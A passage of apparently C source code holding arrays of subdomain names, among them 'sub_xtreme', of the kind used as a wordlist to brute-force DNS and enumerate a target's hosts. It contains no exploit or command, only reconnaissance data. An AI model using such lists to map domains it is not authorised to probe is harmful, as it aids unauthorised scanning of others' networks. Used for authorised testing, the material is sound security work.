"wbm0", "wbm1", "wc", "web", "web0", "web01", "web02", "web03", "web1", "web2", "web3", "web4", "web5", "webadmin", "webcache", "webcam", "webcast", "webconf", "webct", "webdev", "webhelp", "weblog", "webmail", "webmail2", "webmaster", "webmin", "webserv", "webserver", "webservice", "webservices", "websites", "websrv", "webstats", "webster", "welcome", "west", "wg", "wh", "wh1", "whois", "wi", "wifi", "wiki", "win", "win2008", "win2k", "win2k8", "windows", "windowsxp", "winproxy", "wins", "winxp", "wireless", "wk", "wl", "wlan", "wm", "wordpress", "work", "world", "wp", "wpad", "wq", "ws", "ws1", "ws2", "ws3", "ws4", "ws5", "wt", "www", "www-1", "www-2", "www-3", "www-6", "www-ipv6", "www-v6", "www-v6v4", "www01", "www03", "www1", "www2", "www3", "www4", "www5", "www6", "www6test", "www7", "www8", "www9", "wwwdev", "wwwipv6", "wwwtest6", "wwwv6", "wx", "x", "x-ray", "xb", "xc", "xcii", "xd", "xdmcp", "xe-0-2-0-0", "xen", "xi", "xj", "xk", "xml", "xo", "xp", "xs", "xt", "xtel", "xx", "xy", "y", "yankee", "yellow", "yl", "yn", "young", "yp", "ys", "yv", "z", "za", "zc", "zebra", "zeus", "zimbra", "zk", "zm", "zo", "zope", "zq", "zs", "zt", "zu", "zulu", "zw", ""}; char *sub_xtreme[] = {"0", "01", "02", "03", "04", "05", "1", "10", "10gigabitethernet1-2", "11", "12", "13", "14", "15", "16", "17", "18", "19", "1a", "1b", "1c", "1cust1", "1cust10", "1cust11", "1cust12", "1cust13", "1cust14", "1cust15", "1cust16", "1cust17", "1cust18", "1cust19", "1cust2", "1cust20", "1cust21", "1cust22", "1cust23", "1cust24", "1cust25", "1cust26", "1cust27", "1cust28", "1cust29", "1cust3", "1cust30", "1cust31", "1cust32", "1cust33", "1cust34", "1cust35", "1cust36", "1cust37", "1cust38", "1cust39", "1cust4", "1cust40", "1cust41", "1cust42", "1cust43", "1cust44", "1cust45", "1cust46", "1cust47", "1cust48", "1cust49", "1cust5", "1cust50", "1cust51", "1cust52", "1cust53", "1cust54", "1cust55", "1cust56", "1cust57", "1cust58", "1cust59", "1cust6", "1cust60", "1cust61", "1cust62", "1cust63", "1cust64", "1cust65", "1cust66", "1cust67", "1cust68", "1cust69", "1cust7", "1cust70", "1cust71", "1cust72", "1cust73", "1cust74", "1cust75", "1cust76", "1cust77", "1cust78", "1cust79", "1cust8", "1cust80", "1cust81", "1cust82", "1cust83", "1cust84", "1cust85", "1cust86", "1cust87", "1cust88", "1cust89", "1cust9", "1cust90", "1cust91", "1cust92", "1cust93", "1cust94", "1cust95", "1cust96", "1cust97", "1cust98", "1cust99", "1d", "1e", "1f", "1g-bge0", "1g-eth0", "2", "20", "21", "21cust1", "21cust10", "21cust11", "21cust12", "21cust13", "21cust14", "21cust15", "21cust16", "21cust17", "21cust18", "21cust19", "21cust2", "21cust20", "21cust21", "21cust22", "21cust23", "21cust24", "21cust25", "21cust26", "21cust27", "21cust28", "21cust29", "21cust3", "21cust30", "21cust31", "21cust32", "21cust33", "21cust34", "21cust35", "21cust36", "21cust37", "21cust38", "21cust39", "21cust4", "21cust40", "21cust41", "21cust42", "21cust43", "21cust44", "21cust45", "21cust46", "21cust47", "21cust48", "21cust49", "21cust5", "21cust50", "21cust51", "21cust52", "21cust53", "21cust54", "21cust55", "21cust56", "21cust57", "21cust58", "21cust59", "21cust6", "21cust60", "21cust61", "21cust62", "21cust63", "21cust64", "21cust65", "21cust66", "21cust67", "21cust68", "21cust69", "21cust7", "21cust70", "21cust71", "21cust72", "21cust73", "21cust74", "21cust75", "21cust76", "21cust77", "21cust78", "21cust79", "21cust8", "21cust80", "21cust81", "21cust82", "21cust83", "21cust84", "21cust85", "21cust86", "21cust87", "21cust88", "21cust89", "21cust9", "21cust90", "21cust91", "21cust92", "21cust93", "21cust94", "21cust95", "21cust96", "21cust97", "21cust98", "21cust99", "22", "22cust1", "22cust10", "22cust11", "22cust12", "22cust13", "22cust14", "22cust15", "22cust16", "22cust17", "22cust18", "22cust19", "22cust2", "22cust20", "22cust21", "22cust22", "22cust23", "22cust24", "22cust25", "22cust26", "22cust27", "22cust28", "22cust29", "22cust3", "22cust30", "22cust31", "22cust32", "22cust33", "22cust34", "22cust35", "22cust36", "22cust37", "22cust38", "22cust39", "22cust4", "22cust40", "22cust41", "22cust42", "22cust43", "22cust44", "22cust45", "22cust46", "22cust47", "22cust48", "22cust49", "22cust5", "22cust50", "22cust51", "22cust52", "22cust53", "22cust54", "22cust55", "22cust56", "22cust57", "22cust58", "22cust59", "22cust6", "22cust60", "22cust61", "22cust62", "22cust63", "22cust64", "22cust65", "22cust66", "22cust67", "22cust68", "22cust69", "22cust7", "22cust70", "22cust71", "22cust72", "22cust73", "22cust74", "22cust75", "22cust76", "22cust77", "22cust78", "22cust79", "22cust8", "22cust80", "22cust81", "22cust82", "22cust83", "22cust84", "22cust85", "22cust86", "22cust87", "22cust88", "22cust89", "22cust9", "22cust90", "22cust91", "22cust92", "22cust93", "22cust94", "22cust95", "22cust96", "22cust97", "22cust98", "22cust99", "23", "24", "25", "26", "2607", "27", "28", "29", "2a", "2b", "2c", "2cust1", "2cust10", "2cust11", "2cust12", "2cust13", "2cust14", "2cust15", "2cust16", "2cust17", "2cust18", "2cust19", "2cust2", "2cust20", "2cust21", "2cust22", "2cust23", "2cust24", "2cust25", "2cust26", "2cust27", "2cust28", "2cust29", "2cust3", "2cust30", "2cust31", "2cust32", "2cust33", "2cust34", "2cust35", "2cust36", "2cust37", "2cust38", "2cust39", "2cust4", "2cust40", "2cust41", "2cust42", "2cust43", "2cust44", "2cust45", "2cust46", "2cust47", "2cust48", "2cust49", "2cust5", "2cust50", "2cust51", "2cust52", "2cust53", "2cust54", "2cust55", "2cust56", "2cust57", "2cust58", "2cust59", "2cust6", "2cust60", "2cust61", "2cust62", "2cust63", "2cust64", "2cust65", "2cust66", "2cust67", "2cust68", "2cust69", "2cust7", "2cust70", "2cust71", "2cust72", "2cust73", "2cust74", "2cust75", "2cust76", "2cust77", "2cust78", "2cust79", "2cust8", "2cust80", "2cust81", "2cust82", "2cust83", "2cust84", "2cust85", "2cust86", "2cust87", "2cust88", "2cust89", "2cust9", "2cust90", "2cust91", "2cust92", "2cust93", "2cust94", "2cust95", "2cust96", "2cust97", "2cust98", "2cust99", "2d", "2e", "2f", "3", "30", "31", "31337", "32", "32983d48de4470", "33", "34", "35", "36", "37", "38", "39", "3a", "3b", "3c", "3com", "3cust1", "3cust10", "3cust11", "3cust12", "3cust13", "3cust14", "3cust15", "3cust16", "3cust17", "3cust18", "3cust19", "3cust2", "3cust20", "3cust21", "3cust22", "3cust23", "3cust24", "3cust25", "3cust26", "3cust27", "3cust28", "3cust29", "3cust3", "3cust30", "3cust31", "3cust32", "3cust33", "3cust34", "3cust35", "3cust36", "3cust37", "3cust38", "3cust39", "3cust4", "3cust40", "3cust41", "3cust42", "3cust43", "3cust44", "3cust45", "3cust46", "3cust47", "3cust48", "3cust49", "3cust5", "3cust50", "3cust51", "3cust52", "3cust53", "3cust54", "3cust55", "3cust56", "3cust57", "3cust58", "3cust59", "3cust6", "3cust60", "3cust61", "3cust62", "3cust63", "3cust64", "3cust65", "3cust66", "3cust67", "3cust68", "3cust69", "3cust7", "3cust70", "3cust71", "3cust72", "3cust73", "3cust74", "3cust75", "3cust76", "3cust77", "3cust78", "3cust79", "3cust8", "3cust80", "3cust81", "3cust82", "3cust83", "3cust84", "3cust85", "3cust86", "3cust87", "3cust88", "3cust89", "3cust9", "3cust90", "3cust91", "3cust92", "3cust93", "3cust94", "3cust95", "3cust96", "3cust97", "3cust98", "3cust99", "3d", "3e", "3f", "4", "40", "41", "42", "43", "44", "45", "46", "47", "48", "49", "4a", "4b", "4c", "4cust1", "4cust10", "4cust11", "4cust12", "4cust13", "4cust14", "4cust15", "4cust16", "4cust17", "4cust18", "4cust19", "4cust2", "4cust20", "4cust21", "4cust22", "4cust23", "4cust24", "4cust25", "4cust26", "4cust27", "4cust28", "4cust29", "4cust3", "4cust30", "4cust31", "4cust32", "4cust33", "4cust34", "4cust35", "4cust36", "4cust37", "4cust38", "4cust39", "4cust4", "4cust40", "4cust41", "4cust42", "4cust43", "4cust44", "4cust45", "4cust46", "4cust47", "4cust48", "4cust49", "4cust5", "4cust50", "4cust51", "4cust52", "4cust53", "4cust54", "4cust55", "4cust56", "4cust57", "4cust58", "4cust59", "4cust6", "4cust60", "4cust61", "4cust62", "4cust7", "4cust8", "4cust9", "4d", "4e", "4f", "5", "50", "51", "52", "53", "54", "55", "56", "57", "58", "59", "5a", "5b", "5c", "5d", "5e", "5f", "6", "60", "61", "62", "63", "64", "65", "66", "67", "68", "69", "6a", "6b", "6b1", "6c", "6d", "6e", "6f", "6net", "6test", "6to4", "7", "70", "71", "72", "73", "74", "75", "76", "77", "78", "79", "7a", "7b", "7c", "7d", "7e", "7f", "8", "80", "81", "82", "83", "84", "85", "86", "87", "88", "89", "8a", "8b", "8c", "8d", "8e", "8f", "9", "90", "91", "92", "93", "94", "95", "96", "97", "98", "99", "9a", "9b", "9c", "9d", "9e", "9f", "ILMI", "a", "a.auth-ns", "a0", "a01", "a02", "a1", "a10", "a11", "a12", "a13", "a14", "a15", "a16", "a2", "a20", "a21", "a3", "a4", "a5", "a6", "a7", "a8", "a9", "aa", "aaa", "aaaa", "ab", "abc", "about", "ac", "academ", "academico", "acc", "accelerator", "acceso", "access", "account", "accounting", "accounts", "ace", "achilles", "acid", "acs", "activestat", "ad", "ada", "adam", "adkit", "adm", "admin", "admin1", "admin2", "administracion", "administrador", "administrator", "administrators", "admins", "adns1", "ads", "adserver", "adsl", "ae", "ae-0", "ae-1", "ae-2", "ae0", "ae1", "af", "affiliate", "affiliates", "afiliados", "afs3-bos", "afs3-callback", "afs3-errors", "afs3-fileserver", "afs3-kaserver", "afs3-prserver", "afs3-rmtsys", "afs3-update", "afs3-vlserver", "afs3-volser", "aftr", "ag", "agenda", "agent", "ah", "ai", "air", "aix", "aj", "ajax", "ak", "akamai", "al", "alabama", "alaska", "albuquerque", "alerts", "alex", "alfa", "alice", "allen", "alpha", "altair", "alterwind", "alumni", "am", "amanda", "amandaidx", "amarillo", "amber", "americas", "amon", "ams-core-1", "an", "anaheim", "analyzer", "andromeda", "angel", "anna", "announce", "announcements", "anonsvn", "anonymous", "antares", "antispam", "antivirus", "anubis", "ao", "ap", "ap1", "apache", "apache2-adamant", "apache2-argon", "apache2-blow", "apache2-bongo", "apache2-cabo", "apache2-cid", "apache2-daisy", "apache2-dap", "apache2-echo", "apache2-emu", "apache2-fritz", "apache2-fungi", "apache2-goo", "apache2-grog", "apache2-heavy", "apache2-hok", "apache2-ichiban", "apache2-igloo", "apache2-jiffy", "apache2-jolly", "apache2-kant", "apache2-kip", "apache2-linus", "apache2-lip", "apache2-moon", "apache2-mop", "apache2-nads", "apache2-noxim", "apache2-ogle", "apache2-olive", "apache2-pat", "apache2-prance", "apache2-quack", "apache2-quell", "apache2-rank", "apache2-sith", "apache2-twiddle", "apache2-udder", "apache2-vat", "apache2-whippit", "apache2-xenon", "apache2-yak", "apache2-zoo", "apc", "aphrodite", "api", "api1", "apollo", "app", "app01", "app1", "app2", "apple", "application", "applications", "apply", "apps", "appserver", "aq", "aqua", "aquarius", "ar", "ar01", "ar02", "ar2", "arachne", "aragorn", "archie", "archive", "archivos", "arcnet6", "arcsight", "ares", "argentina", "argon", "argos", "argus", "ari", "ariel", "aries", "arizona", "arkansas", "arlington", "art", "artemis", "arthur", "arwen", "as", "as-0", "as-2", "as0", "as01", "as1", "as2", "as400", "as54", "asa", "ash", "asia", "asp", "asr01", "asterisk", "asterix", "at", "athena", "atlanta", "atlantis", "atlas", "atm", "atom", "att", "atw", "atw6", "au", "auction", "aula", "aulas", "aurora", "austin", "auth", "auth-ns", "auth0", "auth00", "auth01", "auth02", "auth03", "auth1", "auth2", "auto", "autodiscover", "autorun", "av", "avalon", "avmail", "aw", "ax", "ay", "ayuda", "az", "b", "b.auth-ns", "b0", "b01", "b02", "b1", "b10", "b2", "b2b", "b2c", "b3", "b4", "b5", "b6", "b7", "b8", "b9", "ba", "bach", "back", "backbone", "backend", "backup", "backup01", "backup1", "backup2", "backups", "baker", "bakersfield", "balance", "balancer", "baltimore", "banana", "banking", "barney", "barracuda", "bart", "base", "batman", "bayarea", "bb", "bb1", "bbdd", "bbs", "bbs6", "bc", "bcast", "bce1", "bd", "bdc", "be", "bea", "bear", "beast", "bell", "belwue-gw", "bender", "berlin", "bes", "beta", "bf", "bg", "bgp", "bgpd", "bh", "bi", "biblioteca", "biff", "big", "bilbo", "bill", "billing", "bip1-gw", "biz", "biztalk", "bj", "bk", "bl", "black", "blackberry", "blackboard", "blackhole", "blacksun", "blade", "blazing", "blog", "blog6", "blogs", "blue", "bm", "bm0", "bm1", "bm2", "bm3", "bm4", "bn", "bnc", "bo", "bob", "bof", "boise", "bolsa", "bootpc", "bootps", "border", "border1", "border2", "boss", "boston", "bot", "boulder", "box", "boy", "bp", "bpcd", "bpdbm", "bprd", "bq", "br", "br0", "br1", "br2", "br3", "brain", "bravo", "brazil", "bridge", "britian", "broadband", "broadcast", "broadcast-via-ctc", "broker", "bronze", "brown", "bs", "bsd", "bsd0", "bsd01", "bsd02", "bsd1", "bsd2", "bt", "bt6", "bu", "bug", "buggalo", "bugs", "bugzilla", "build", "bulletins", "burn", "burner", "buscador", "business", "buy", "bv", "bw", "bwm", "bx", "by", "bz", "c", "c.auth-ns", "c0", "c1", "c2", "c3", "c4", "c5", "c6", "c7", "c8", "c9", "ca", "cache", "cache1", "cache2", "cacti", "cafe", "cag", "calendar", "california", "call", "callisto", "calvin", "calypso", "cam", "cam1", "camera", "campus", "canada", "canal", "canna", "canon", "carbon", "career", "careers", "carro", "cart", "cartman", "cas", "casper", "casse", "castor", "cat", "catalog", "catalogo", "catalogue", "cb", "cc", "ccxvii", "cd", "cd1", "cdburner", "cdma", "cdn", "ce", "ce0", "ce1", "ce2", "centos", "central", "cerberus", "ceres", "cert", "certificates", "certify", "certserv", "certsrv", "cf", "cfengine", "cfinger", "cg", "cgi", "cgw", "ch", "channel", "channels", "chaos", "chargen", "charlie", "charlotte", "charon", "chat", "chats", "chatserver", "check", "checkpoint", "cheetah", "cherry", "chi", "chicago", "chimera", "chris", "chronos", "ci", "ci53", "ci96", "cims", "cincinnati", "cisco", "cisco1", "cisco2", "citrix", "cj", "ck", "cl", "class", "classes", "classifieds", "classroom", "clearcase", "cleveland", "click1", "clicktrack", "client", "client1", "client2", "client3", "client4", "client5", "clientes", "clientrouter", "clients", "cll", "cloud", "club", "clubs", "cluster", "clusters", "clyde", "cm", "cm0", "cm1", "cm10", "cm11", "cm12", "cm13", "cm14", "cm15", "cm16", "cm17", "cm18", "cm19", "cm2", "cm20", "cm21", "cm22", "cm23", "cm24", "cm25", "cm26", "cm27", "cm28", "cm29", "cm3", "cm30", "cm31", "cm32", "cm33", "cm34", "cm35", "cm36", "cm37", "cm38", "cm39", "cm4", "cm40", "cm41", "cm42", "cm43", "cm44", "cm45", "cm46", "cm47", "cm48", "cm49", "cm5", "cm50", "cm51", "cm52", "cm53", "cm54", "cm55", "cm56", "cm57", "cm58", "cm59", "cm6", "cm60", "cm61", "cm62", "cm63", "cm64", "cm65", "cm66", "cm67", "cm68", "cm69", "cm7", "cm70", "cm71", "cm72", "cm73", "cm74", "cm75", "cm76", "cm77", "cm78", "cm79", "cm8", "cm80", "cm81", "cm82", "cm83", "cm84", "cm85", "cm86", "cm87", "cm88", "cm89", "cm9", "cm90", "cm91", "cm92", "cm93", "cm94", "cm95", "cm96", "cm97", "cm98", "cm99", "cmail", "cmip-agent", "cmip-man", "cms", "cn", "cns1", "cns2", "co", "cobalt", "cobra", "cocoa", "codasrv", "codasrv-se", "code", "coldfusion", "colo", "colo0-gw", "colombus", "colorado", "columbus", "com", "comment", "commerce", "commerceserver", "communigate", "community", "compaq", "compras", "con", "concentrator", "condor", "conf", "conference", "conferencing", "confidential", "connect", "connecticut", "consola", "console", "constellation", "consult", "consultant", "consultants", "consulting", "consumer", "contact", "content", "contracts", "control", "controller", "cook", "copper", "core", "core0", "core01", "core1", "core2", "corona", "corp", "corpmail", "corporate", "correio", "correo", "correoweb", "cortafuegos", "counterstrike", "courier", "courses", "cp", "cpanel", "cpe", "cph-cr1", "cpr1", "cq", "cr", "cr0", "cr1", "cr2", "cr3", "cricket", "crm", "crs", "crystal", "cs", "cs0", "cs1", "cs2", "csg", "csnet-ns", "cso", "css", "ct", "cu", "cube", "curie", "cust", "cust1", "cust10", "cust100", "cust101", "cust102", "cust103", "cust104", "cust105", "cust106", "cust107", "cust108", "cust109", "cust11", "cust110", "cust111", "cust112", "cust113", "cust114", "cust115", "cust116", "cust117", "cust118", "cust119", "cust12", "cust120", "cust121", "cust122", "cust123", "cust124", "cust125", "cust126", "cust13", "cust14", "cust15", "cust16", "cust17", "cust18", "cust19", "cust2", "cust20", "cust21", "cust22", "cust23", "cust24", "cust25", "cust26", "cust27", "cust28", "cust29", "cust3", "cust30", "cust31", "cust32", "cust33", "cust34", "cust35", "cust36", "cust37", "cust38", "cust39", "cust4", "cust40", "cust41", "cust42", "cust43", "cust44", "cust45", "cust46", "cust47", "cust48", "cust49", "cust5", "cust50", "cust51", "cust52", "cust53", "cust54", "cust55", "cust56", "cust57", "cust58", "cust59", "cust6", "cust60", "cust61", "cust62", "cust63", "cust64", "cust65", "cust66", "cust67", "cust68", "cust69", "cust7", "cust70", "cust71", "cust72", "cust73", "cust74", "cust75", "cust76", "cust77", "cust78", "cust79", "cust8", "cust80", "cust81", "cust82", "cust83", "cust84", "cust85", "cust86", "cust87", "cust88", "cust89", "cust9", "cust90", "cust91", "cust92", "cust93", "cust94", "cust95", "cust96", "cust97", "cust98", "cust99", "customer", "customers", "customs", "cv", "cvs", "cvspserver", "cw", "cx", "cy", "cyborgs", "cyclops", "cygnus", "cz", "d", "d0", "d1", "d1-0", "d10", "d11", "d12", "d13", "d14", "d15", "d16", "d17", "d18", "d19", "d2", "d20", "d21", "d22", "d23", "d24", "d25", "d26", "d27", "d28", "d29", "d3", "d30", "d31", "d32", "d33", "d34", "d35", "d36", "d37", "d38", "d39", "d4", "d40", "d41", "d42", "d43", "d44", "d45", "d46", "d47", "d48", "d49", "d5", "d50", "d51", "d52", "d53", "d54", "d55", "d56", "d57", "d58", "d59", "d6", "d60", "d61", "d62", "d63", "d64", "d65", "d66", "d67", "d68", "d69", "d7", "d70", "d71", "d72", "d73", "d74", "d75", "d76", "d77", "d78", "d79", "d8", "d80", "d81", "d82", "d83", "d84", "d85", "d86", "d87", "d88", "d89", "d9", "d90", "d91", "d92", "d93", "d94", "d95", "d96", "d97", "d98", "d99", "da", "daap", "daisy", "dallas", "darwin", "dashboard", "data", "database", "database01", "database02", "database1", "database2", "databases", "datametrics", "datastore", "datatracker", "datos", "david", "davinci", "daytime", "db", "db0", "db01", "db02", "db03", "db1", "db2", "db3", "dbs", "dc", "dc1", "dc2", "dd", "dds", "de", "de-cix", "dealers", "debian", "dec", "decix", "dedicated", "def", "default", "defiant", "deimos", "delaware", "dell", "delta", "delta1", "demeter", "demo", "demo2", "demon", "demon-gw", "demonstration", "demos", "demostration", "deneb", "denver", "depot", "des", "desarrollo", "descargas", "design", "designer", "desktop", "destiny", "detroit", "deutschland", "dev", "dev0", "dev01", "dev1", "dev2", "deve", "devel", "develop", "developer", "developers", "development", "device", "devserver", "devsql", "df", "dg", "dh", "dhcp", "dhcp-pool", "dhcp01", "dhcp02", "dhcp1", "dhcp10", "dhcp11", "dhcp12", "dhcp13", "dhcp14", "dhcp15", "dhcp16", "dhcp17", "dhcp18", "dhcp19", "dhcp2", "dhcp20", "dhcp21", "dhcp22", "dhcp23", "dhcp24", "dhcp25", "dhcp26", "dhcp27", "dhcp28", "dhcp29", "dhcp3", "dhcp4", "dhcp5", "dhcp6", "dhcp7", "dhcp8", "dhcp9", "di", "di1", "dial", "dialin", "dialup", "diamond", "diana", "diary", "dict", "digital", "dilbert", "dino", "dione", "dir", "dirac", "dircproxy", "direct", "directory", "disc", "discard", "disco", "discovery", "discuss", "discussion", "discussions", "disk", "disney", "dist", "dist02", "distcc", "distmp3", "distributer", "distributers", "dj", "dk", "dl", "dlv", "dm", "dmail", "dms", "dmz", "dmz-gw", "dn", "dnews", "dns", "dns-2", "dns-a", "dns-b", "dns-cache1", "dns-cache2", "dns0", "dns00", "dns01", "dns02", "dns03", "dns1", "dns2", "dns3", "dns4", "dns6", "dnsa", "dnsb", "dnscache1", "dnscache2", "do", "doc", "docs", "documentacion", "documentos", "dolphin", "domain", "domain-controller", "domaincontroller", "domains", "dominio", "domino", "dominoweb", "donald", "doom", "download", "downloads", "downtown", "dp", "dq", "dr", "draal", "drac", "draco", "dragon", "drupal", "ds", "ds1", "dsl", "dt", "du", "dv", "dw", "dx", "dy", "dyn", "dynamic", "dynip", "dz", "e", "e-com", "e-commerce", "e0", "e0-0", "e1", "e2", "e22", "e24", "e3", "e4", "e5", "e6", "e7", "e8", "e9", "ea", "eaccess", "eagle", "earth", "east", "eb", "ec", "echo", "eclipse", "ecom", "ecommerce", "ed", "edge", "edge1", "edge2", "edi", "edu", "education", "edward", "ee", "ef", "efnet", "eg", "eh", "ei", "einstein", "ej", "ejemplo", "ejemplos", "ek", "eklogin", "el", "elearning", "elpaso", "em", "email", "email1", "email2", "emerald", "employees", "empresa", "empresas", "ems", "en", "en01", "enable", "enbd-cstatd", "enbd-sstatd", "enc", "eng", "eng01", "eng1", "engine", "engineer", "engineering", "enigma", "enrutador", "enterprise", "enum", "eo", "eos", "ep", "epp", "eprints", "epsilon", "epzilon", "eq", "er", "eris", "eros", "erp", "es", "esd", "eservice", "esm", "espanol", "estadisticas", "esx", "esx1", "et", "eta", "eth0", "eth1", "eth2", "ethernet", "eu", "euler", "eunet-gw", "eunomia", "europa", "europe", "ev", "eva", "eve", "eventos", "events", "everest", "ew", "ex", "ex1", "example", "examples", "excalibur", "exch", "exchange", "exchange1", "exchange2", "exec", "exeter", "exit", "exmail", "ext", "extern", "external", "extra", "extranet", "ey", "ez", "ezproxy", "f", "f0", "f0-0", "f1", "f2", "f3", "f4", "f5", "f6", "f7", "f8", "f9", "fa", "fa-0-0", "fa0", "fa0-0", "fa0-1", "falcon", "faraday", "farm", "fastethernet0-0", "faststats", "fatserv", "fax", "fb", "fc", "fd", "fe", "fe0", "fe0-0", "fe0-1", "fe1", "fe1-0", "fe2", "fe2-0", "feedback", "feeds", "felix", "fermi", "ff", "fg", "fh", "fi", "fiberlink", "fido", "field", "file", "files", "filesender", "fileserv", "fileserver", "filestore", "filter", "finance", "find", "finger", "fire", "firewall", "fix", "fixes", "fj", "fk", "fl", "flash", "florida", "flow", "fm", "fn", "fo", "folders", "font-service", "foobar", "formacion", "forms", "foro", "foros", "fortworth", "forum", "forums", "foto", "fotos", "foundry", "fourier", "fox", "foxtrot", "fp", "fq", "fr", "france", "frank", "franklin", "fred", "free", "freebsd", "freebsd0", "freebsd01", "freebsd02", "freebsd1", "freebsd2", "freedommail", "freemail", "freeware", "fresno", "frodo", "front", "frontdesk", "frox", "fry", "fs", "fs1", "fs2", "fsp", "ft", "ftb", "ftp", "ftp-", "ftp-data", "ftp0", "ftp1", "ftp2", "ftp3", "ftp6", "ftpd", "ftps", "ftps-data", "ftpserver", "fu", "fuji", "fun", "fv", "fw", "fw-1", "fw0", "fw00", "fw01", "fw02", "fw03", "fw1", "fw1-gw", "fw2", "fw3", "fwsm", "fwsm0", "fwsm01", "fwsm1", "fx", "fy", "fz", "g", "g0-26", "g1", "ga", "gaia", "galatea", "galaxy", "galeria", "galerias", "galerie", "galileo", "galleries", "gallery", "game", "games", "gameserver", "gamma", "gandalf", "ganymede", "garfield", "gate", "gate1", "gate2", "gatekeeper", "gateway", "gateway1", "gateway2", "gauss", "gb", "gc", "gd", "gdomap", "gds_db", "ge", "ge-0", "ge-0-0-0-0", "ge0", "ge0-0", "ge0-1", "ge0-2", "ge1", "ge1-0", "ge11", "ge13", "ge2-0", "geb", "gemini", "general", "genesis", "gentoo", "geo", "george", "georgia", "ger", "germany", "get", "gf", "gg", "ggz", "gh", "ghost", "gi", "gi-0-1", "gi0-0", "gi0-1", "gi0-2", "gi2-0", "gig0-1", "gig0-2", "gig0-3", "gigabitethernet0", "gigabitethernet1", "gige-g0-1", "gige-gbge0", "gilford", "gimli", "gis", "git", "gizmo", "gj", "gk", "gl", "glendale", "global", "gm", "gmail", "gn", "gnu", "gnutella-rtr", "gnutella-svc", "go", "gold", "goldmine", "golf", "gollum", "gonzo", "goofy", "gopher", "gp", "gps", "gpsd", "gq", "gr", "green", "group", "groups", "groupwise", "gs", "gsx", "gt", "gu", "guardian", "guest", "guia", "guide", "gv", "gw", "gw-ipv6", "gw0", "gw01", "gw02", "gw1", "gw2", "gw3", "gw4", "gw6", "gx", "gy", "gz", "h", "h0", "h1", "h10", "h11", "h12", "h13", "h14", "h15", "h16", "h17", "h18", "h19", "h2", "h20", "h21", "h22", "h23", "h24", "h25", "h26", "h27", "h28", "h29", "h3", "h30", "h31", "h32", "h33", "h34", "h35", "h36", "h37", "h38", "h39", "h4", "h40", "h41", "h42", "h43", "h44", "h45", "h46", "h47", "h48", "h49", "h5", "h50", "h51", "h52", "h53", "h54", "h55", "h56", "h57", "h58", "h59", "h6", "h60", "h61", "h62", "h63", "h64", "h65", "h66", "h67", "h68", "h69", "h7", "h70", "h71", "h72", "h73", "h74", "h75", "h76", "h77", "h78", "h79", "h8", "h80", "h81", "h82", "h83", "h84", "h85", "h86", "h87", "h88", "h89", "h9", "h90", "h91", "h92", "h93", "h94", "h95", "h96", "h97", "h98", "h99", "ha", "ha1", "ha2", "hades", "hal", "halflife", "hammer", "happy", "haproxy", "has", "hat", "hawaii", "hawk", "hb", "hc", "hd", "he", "helene", "helios", "helium", "helix", "hello", "help", "helpdesk", "helponline", "henry", "hera", "heracles", "hercules", "hermes", "hestia", "hf", "hg", "hh", "hi", "hidden", "hj", "hk", "hkp", "hl", "hm", "hmmp-ind", "hn", "ho", "hobbes", "hobby-gw", "hollywood", "home", "homebase", "homepage", "homer", "honeypot", "honolulu", "hop", "horus", "host", "host-1", "host-10", "host-11", "host-12", "host-13", "host-14", "host-15", "host-16", "host-17", "host-18", "host-19", "host-2", "host-20", "host-21", "host-22", "host-23", "host-24", "host-25", "host-26", "host-27", "host-28", "host-29", "host-3", "host-30", "host-31", "host-32", "host-33", "host-34", "host-35", "host-36", "host-37", "host-38", "host-39", "host-4", "host-40", "host-41", "host-42", "host-43", "host-44", "host-45", "host-46", "host-47", "host-48", "host-49", "host-5", "host-50", "host-51", "host-52", "host-53", "host-54", "host-55", "host-56", "host-57", "host-58", "host-59", "host-6", "host-60", "host-61", "host-62", "host-63", "host-64", "host-65", "host-66", "host-67", "host-68", "host-69", "host-7", "host-70", "host-71", "host-72", "host-73", "host-74", "host-75", "host-76", "host-77", "host-78", "host-79", "host-8", "host-80", "host-81", "host-82", "host-83", "host-84", "host-85", "host-86", "host-87", "host-88", "host-89", "host-9", "host-90", "host-91", "host-92", "host-93", "host-94", "host-95", "host-96", "host-97", "host-98", "host-99", "host0", "host01", "host02", "host03", "host04", "host05", "host06", "host07", "host08", "host09", "host1", "host10", "host11", "host12", "host13", "host14", "host15", "host16", "host17", "host18", "host19", "host2", "host20", "host21", "host22", "host23", "host24", "host25", "host26", "host27", "host28", "host29", "host3", "host30", "host31", "host32", "host33", "host34", "host35", "host36", "host37", "host38", "host39", "host4", "host40", "host41", "host42", "host43", "host44", "host45", "host46", "host47", "host48", "host49", "host5", "host50", "host51", "host52", "host53", "host54", "host55", "host56", "host57", "host58", "host59", "host6", "host60", "host61", "host62", "host63", "host64", "host65", "host66", "host67", "host68", "host69", "host7", "host70", "host71", "host72", "host73", "host74", "host75", "host76", "host77", "host78", "host79", "host8", "host80", "host81", "host82", "host83", "host84", "host85", "host86", "host87", "host88", "host89", "host9", "host90", "host91", "host92", "host93", "host94", "host95", "host96", "host97", "host98", "host99", "hosted", "hosted-by", "hosting", "hosting1", "hosting2", "hostmon", "hostnames", "hotel", "hotjobs", "hotspot", "houstin", "houston", "howto", "hp", "hpov", "hq", "hr", "hs", "hsrp", "ht", "http", "https", "hu", "hub", "humanresources", "hund", "hv", "hw", "hwmaint", "hx", "hy", "hydra", "hydrogen", "hylafax", "hyperion", "hypernova", "hz", "i", "ia", "iana", "ias", "iax", "ib", "ibm", "ibmdb", "ic", "icarus", "ice", "icecube", "icons", "icpv2", "ict", "id", "ida", "idaho", "idefix", "idp", "ids", "ie", "if", "if-0-0-0", "if-10-0-0", "if-2-0-0", "ifolder", "ig", "ih", "ii", "iis", "ij", "ik", "il", "illinois", "illusion", "ilo", "im", "image", "images", "imail", "imap", "imap3d", "imap4", "imapd", "imaps", "img", "img0", "img01", "img02", "imgs", "imogen", "ims", "imsp", "in", "in1", "inbound", "inc", "include", "incoming", "india", "indiana", "indianapolis", "indigo", "inet", "inferno", "info", "info1", "info2", "informix", "ingreslock", "inmuebles", "ins2", "inside", "install", "int", "intern", "internal", "international", "internet", "internet2", "interno", "intl", "intra", "intranet", "invalid", "inventory", "investor", "investors", "io", "iota", "iowa", "ip", "ip00", "ip01", "ip02", "ip03", "ip04", "ip05", "ip06", "ip07", "ip1", "ip10", "ip11", "ip12", "ip13", "ip14", "ip15", "ip16", "ip17", "ip18", "ip19", "ip2", "ip20", "ip21", "ip22", "ip23", "ip24", "ip25", "ip26", "ip27", "ip28", "ip29", "ip3", "ip30", "ip31", "ip32", "ip33", "ip34", "ip35", "ip36", "ip37", "ip38", "ip39", "ip4", 